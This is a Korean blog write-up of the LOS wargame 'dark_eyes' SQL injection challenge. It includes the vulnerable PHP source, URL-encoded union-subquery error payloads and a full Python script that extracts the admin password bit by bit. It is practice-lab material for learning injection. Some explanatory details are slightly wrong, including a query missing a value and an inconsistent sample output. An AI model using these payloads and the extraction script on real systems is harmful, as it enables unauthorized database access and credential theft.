LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 iron_golem에 이어 dark_eyes 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

고양이 눈깔인데, 안 귀엽네요.


이번 문제는 진짜... 고민을 많이 했습니다.

어찌 풀어야 할지는 알겠는데 어떻게 문제 풀이를 진행해야 하는지 감이 잡힐 때까지 시간이 많이 걸렸지요..ㅠㅠ

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>


와우...

iron_golem 문제에서 나타나 있는 것처럼 if문을 이용하여, Error Based Blind SQL Injection을 수행했었는데... 이번에는 그렇게 하지도 못하게 됐습니다. 이제는 어떻게 에러와 참을 구분한단 말인가...


여전히 error가 발생했을 때를 제외하고, 값이 출력되는 곳은 따로 없습니다.

따라서 이번에도 아무런 결과도 도출할 수 없이 Error Based Blind SQL Injection을 수행해야 합니다.


여기서 참 고민을 많이 했습니다.

별의 별 쿼리를 다 만들어 날려보면서... 생각해보니 union에서 컬럼을 만들어준 녀석이 값을 2개를 넘겨줄 때 문제가 발생했었던 걸 깨달았습니다.


만약 select 1 union select 1을 할 경우 값이 같은 값이므로, 1 하나만 반환됩니다.

그러나 select union select 0을 할 경우 값이 다르기 때문에, 1과 0을 함께 반환합니다.


위와 같은 원리를 이용하여 이번 Error Based Blind SQL Injection을 수행해보려 합니다.



 

 Error Based Blind SQL Injection


MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.


 

 union을 이용한 Error Based Blind SQL Injection



 

 에러 발생


기존의 방법은 if문을 이용하여 error를 발생했을 때와 아닐 때를 구분해주었습니다.

[LOS - Lord Of SQL] Level 21 - iron_golem 풀이


위의 링크에서 if문을 이용한 error based blind sql injection을 확인할 수 있습니다.


그러나 만약 if문을 사용할 수 없을 경우 select와 union만을 이용하여 에러를 발생시켜야 합니다.


원리는 다음과 같습니다.

(1) select 1 union select 1; 을 할 경우, 1 하나만 반환됨

(2) select 1 union select 0; 을 할 경우, 1과 0이 반환됨


만약 (2)의 쿼리를 WHERE 조건문에 넣게 되면 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.


이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.

비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.


select 1 union select 1를 하게되면 다음과 같은 값이 select 됩니다.

1

1


만약 select 1 union select 0;를 하게 되면 다음과 같이 값이 반환됩니다.

1

1

0


select 1 union select 0을 수행할 때를 보면, 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.

따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.


그렇다면 어떻게 0과 1을 따로 구분할 수 있는지를 알아봐야합니다.


 

 MySQL True, False


MySQL에서는 괄호와 비교 연산자를 이용하여 참과 거짓을 반환해줄 수 있습니다.


예를 들면, select (length(pw)>0) from table;을 수행해주면, 비밀번호라는 컬럼의 값이 0보다 크면 참, 작으면 거짓을 반환하는 테이블이 반환될 것입니다. 이때 참과 거짓은 각각 1과 0으로 반환됩니다.


즉, 참일 때 1이 반환되고, 거짓일 때 0이 반환된다는 것입니다.


그렇다면, 우리는 괄호와 비교연산자를 이용하여 값을 알아낼 수 있을 것입니다.




 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기


MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(length(pw)<0))%23


위의 쿼리는 pw 길이가 0보다 작으면 에러가 발생하게끔 작성하였습니다.

이는 pw=' or id='admin' and (select 1 union select (length(pw)<0))%23 으로 작성하였습니다.


이 쿼리는 일부러 에러가 터지는지 안 터지는지 알기 위해 일부러 0보다 작다, 라고 작성해주었습니다. 문제 풀이로써 사용될 쿼리에는 특정 숫자보다 크다, 로 설정할 것입니다.


이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..


만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw='
headers = {'Cookie': 'PHPSESSID=r6bn9co3h56f6bindk6rs09474'}

passwordLen = 0

for i in range(1, 100):
    payload = "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'query' in res.text:
        passwordLen = i
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, bitLen+1):
        payload = "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'query' in res.text:
            # Error Occured!! It is not 1 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

+ Recent posts